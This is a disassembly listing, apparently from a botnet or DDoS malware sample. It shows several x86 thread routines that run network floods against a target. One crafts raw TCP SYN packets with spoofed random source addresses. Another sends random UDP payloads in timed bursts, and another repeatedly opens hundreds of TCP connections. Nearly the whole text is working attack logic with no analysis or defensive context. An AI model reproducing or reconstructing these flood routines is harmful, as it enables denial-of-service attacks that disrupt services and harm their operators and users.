		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4E091C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_412309
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_44CB30
		push	eax
		call	sub_41B740
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4122EC
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408EB9
		add	esp, 14h


loc_4122EC:				; CODE XREF: sub_41226E+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_41458A
		push	[ebp+var_38]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread


loc_412309:				; CODE XREF: sub_41226E+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4E0880
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412380
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_44CB5C
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_412363
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408EB9
		add	esp, 14h


loc_412363:				; CODE XREF: sub_41226E+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_41458A
		push	[ebp+var_38]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread


loc_412380:				; CODE XREF: sub_41226E+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4E08DC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4123E7
		lea	eax, [ebp+var_3BC]
		push	offset unk_44CB8C
		push	eax
		call	sub_41B740
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4123CA
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408EB9
		add	esp, 14h


loc_4123CA:				; CODE XREF: sub_41226E+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_41458A
		push	[ebp+var_38]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread


loc_4123E7:				; CODE XREF: sub_41226E+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4E08A0
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4E08DC
		mov	esi, dword_4F1364
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_412425:				; CODE XREF: sub_41226E+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4125D0
		push	41Ch
		mov	byte_4E3658, 45h
		call	dword_4E08A0
		cmp	[ebp+var_2C], edi
		mov	word_4E365A, ax
		mov	word_4E365C, bx
		mov	word_4E365E, di
		mov	byte_4E3660, 80h
		mov	byte_4E3661, bl
		mov	word_4E3662, di
		jz	short loc_4124AB
		call	sub_41B850
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41B850
		add	ebx, eax
		shl	ebx, 8
		call	sub_41B850
		add	ebx, eax
		shl	ebx, 8
		call	sub_41B850
		add	ebx, eax
		push	1
		mov	dword_4E3664, ebx
		pop	ebx
		jmp	short loc_4124C3
; ---------------------------------------------------------------------------


loc_4124AB:				; CODE XREF: sub_41226E+20Bj
		push	[ebp+var_1BC]
		call	sub_40A019
		pop	ecx
		push	eax
		call	dword_4E08DC
		mov	dword_4E3664, eax


loc_4124C3:				; CODE XREF: sub_41226E+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4E3668, eax
		call	sub_41B850
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4E366C, dl
		call	sub_41B850
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4E366D, dl
		call	sub_41B850
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4E366E, di
		mov	word_4E3672, bx
		inc	edx
		mov	word_4E3670, dx
		call	sub_41B850
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4E3674
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4E3658
		push	[ebp+var_4]
		call	dword_4E0900
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41255B
		inc	[ebp+arg_0]
		jmp	loc_412425
; ---------------------------------------------------------------------------


loc_41255B:				; CODE XREF: sub_41226E+2E3j
		push	[ebp+var_4]
		call	dword_4E0934
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_44CBAC
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_4125B3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408EB9
		add	esp, 14h


loc_4125B3:				; CODE XREF: sub_41226E+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_41458A
		push	[ebp+var_38]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread


loc_4125D0:				; CODE XREF: sub_41226E+1C8j
		push	[ebp+var_4]
		call	dword_4E0934
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_44CBF4
		push	eax
		call	sub_41B740
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_412638
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408EB9
		add	esp, 14h


loc_412638:				; CODE XREF: sub_41226E+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_41458A
		push	[ebp+var_38]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread
sub_41226E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412655	proc near		; DATA XREF: sub_401CC1+4CD4o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_4E0830
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4E08DC
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4126B0
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4E0920
		cmp	eax, ebx
		jz	short loc_4126B6


loc_4126B0:				; CODE XREF: sub_412655+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_412713


loc_4126B6:				; CODE XREF: sub_412655+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_44CC40
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_4126F6
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_408EB9
		add	esp, 14h


loc_4126F6:				; CODE XREF: sub_412655+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_41458A
		push	[ebp+var_30]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread


loc_412713:				; CODE XREF: sub_412655+5Fj
		cmp	eax, ebx
		jz	short loc_412723
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_412726
; ---------------------------------------------------------------------------


loc_412723:				; CODE XREF: sub_412655+C0j
		mov	[ebp+var_4], esi


loc_412726:				; CODE XREF: sub_412655+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41B190
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_412746
		mov	[ebp+var_3C], eax


loc_412746:				; CODE XREF: sub_412655+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_41274E
		mov	[ebp+var_38], edi


loc_41274E:				; CODE XREF: sub_412655+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_41277B


loc_412755:				; CODE XREF: sub_412655+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4E07C8
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_412755


loc_41277B:				; CODE XREF: sub_412655+FEj
		push	[ebp+arg_0]
		call	dword_4E0954
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_44CC68
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_4127C4
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_408EB9
		add	esp, 14h


loc_4127C4:				; CODE XREF: sub_412655+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_41458A
		push	[ebp+var_30]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread
sub_412655	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127E1	proc near		; DATA XREF: sub_401CC1+4F1Do

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4E091C
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4E08DC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_4128C6
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4E0920
		cmp	eax, edi
		jnz	short loc_4128BF
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_44CC94
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_4128A2
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_408EB9
		add	esp, 14h


loc_4128A2:				; CODE XREF: sub_4127E1+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_41458A
		push	[ebp+var_20]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread


loc_4128BF:				; CODE XREF: sub_4127E1+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_4128C9
; ---------------------------------------------------------------------------


loc_4128C6:				; CODE XREF: sub_4127E1+6Ej
		lea	eax, [ebp+arg_0]


loc_4128C9:				; CODE XREF: sub_4127E1+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_4128E4
		call	sub_41B850
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_4128E7
; ---------------------------------------------------------------------------


loc_4128E4:				; CODE XREF: sub_4127E1+F0j
		push	[ebp+var_24]


loc_4128E7:				; CODE XREF: sub_4127E1+101j
		call	dword_4E08A0
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_4128F9
		mov	[ebp+var_24], esi


loc_4128F9:				; CODE XREF: sub_4127E1+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_412906
		mov	[ebp+var_24], eax


loc_412906:				; CODE XREF: sub_4127E1+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_41291A
		mov	[ebp+var_28], esi


loc_41291A:				; CODE XREF: sub_4127E1+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_41293B


loc_412921:				; CODE XREF: sub_4127E1+158j
		call	sub_41B850
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_412921


loc_41293B:				; CODE XREF: sub_4127E1+13Ej
					; sub_4127E1+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_41299A
		push	0Bh
		pop	esi


loc_412948:				; CODE XREF: sub_4127E1+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41B850
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4E0900
		push	[ebp+var_28]
		call	dword_4F1334	; Sleep
		dec	esi
		jnz	short loc_412948
		cmp	[ebp+var_24], edi
		jnz	short loc_41293B
		call	sub_41B850
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4E08A0
		mov	[ebp+var_E], ax
		jmp	short loc_41293B
; ---------------------------------------------------------------------------


loc_41299A:				; CODE XREF: sub_4127E1+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_44CCBC
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_4129DA
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_408EB9
		add	esp, 14h


loc_4129DA:				; CODE XREF: sub_4127E1+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_41458A
		push	[ebp+var_20]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread
sub_4127E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129F7	proc near		; DATA XREF: sub_401CC1+45ADo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_412B55
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_44CCE8
		push	eax
		call	sub_41B740
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_412A74
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408EB9
		add	esp, 14h


loc_412A74:				; CODE XREF: sub_4129F7+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_41458A
		push	[ebp+var_10]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_4129F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A93	proc near		; CODE XREF: sub_412B55+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4E08A0
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_412B51
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_412ADE:				; CODE XREF: sub_412A93+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_412AE6:				; CODE XREF: sub_412A93+7Aj
		push	0
		push	1
		push	2
		call	dword_4F150C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_412B09
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4F14E4	; ioctlsocket


loc_412B09:				; CODE XREF: sub_412A93+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_412AE6
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_412B17:				; CODE XREF: sub_412A93+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_4F1500	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_412B17
		push	64h
		call	dword_4F1334	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_412B3B:				; CODE XREF: sub_412A93+B4j
		push	dword ptr [esi]
		call	dword_4F1508	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_412B3B
		dec	[ebp+arg_4]
		jnz	short loc_412ADE
		pop	edi
		pop	esi
		pop	ebx


loc_412B51:				; CODE XREF: sub_412A93+3Ej
		xor	eax, eax
		leave
		retn
sub_412A93	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B55	proc near		; CODE XREF: sub_4129F7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409EFD
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41B3F0
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41B3F0
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_412A93
		add	esp, 18h
		test	eax, eax
		jnz	short loc_412B8B
		push	1
		pop	eax


loc_412B8B:				; CODE XREF: sub_412B55+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_412B55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B9A	proc near		; DATA XREF: sub_401CC1+5C00o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_412EE8
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_44CD14
		push	eax
		call	sub_41B740
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_412C17
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408EB9
		add	esp, 14h


loc_412C17:				; CODE XREF: sub_412B9A+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_41458A
		push	[ebp+var_10]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_412B9A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C36	proc near		; CODE XREF: sub_412EE8+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4E081C
		test	eax, eax
		jz	short loc_412C76
		xor	eax, eax
		jmp	loc_412EE4
; ---------------------------------------------------------------------------


loc_412C76:				; CODE XREF: sub_412C36+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4E0940
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_412EDC
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4E0880
		cmp	eax, 0FFFFFFFFh
		jz	loc_412ED2
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4E08A0
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4E08A0
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4E08A0
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4E08A0
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_4F12BC	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4F13EC	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DE60
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_412D61:				; CODE XREF: sub_412C36+25Dj
					; sub_412C36+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B850
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4E08A0
		mov	[ebp+var_34], ax
		call	sub_41B850
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B850
		or	edi, eax
		push	edi
		call	dword_4E08A0
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4E089C
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4E08A0
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A072
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C8D0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A072
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4E0900
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412EA6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4F13EC	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_412ECF
		jl	loc_412D61
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
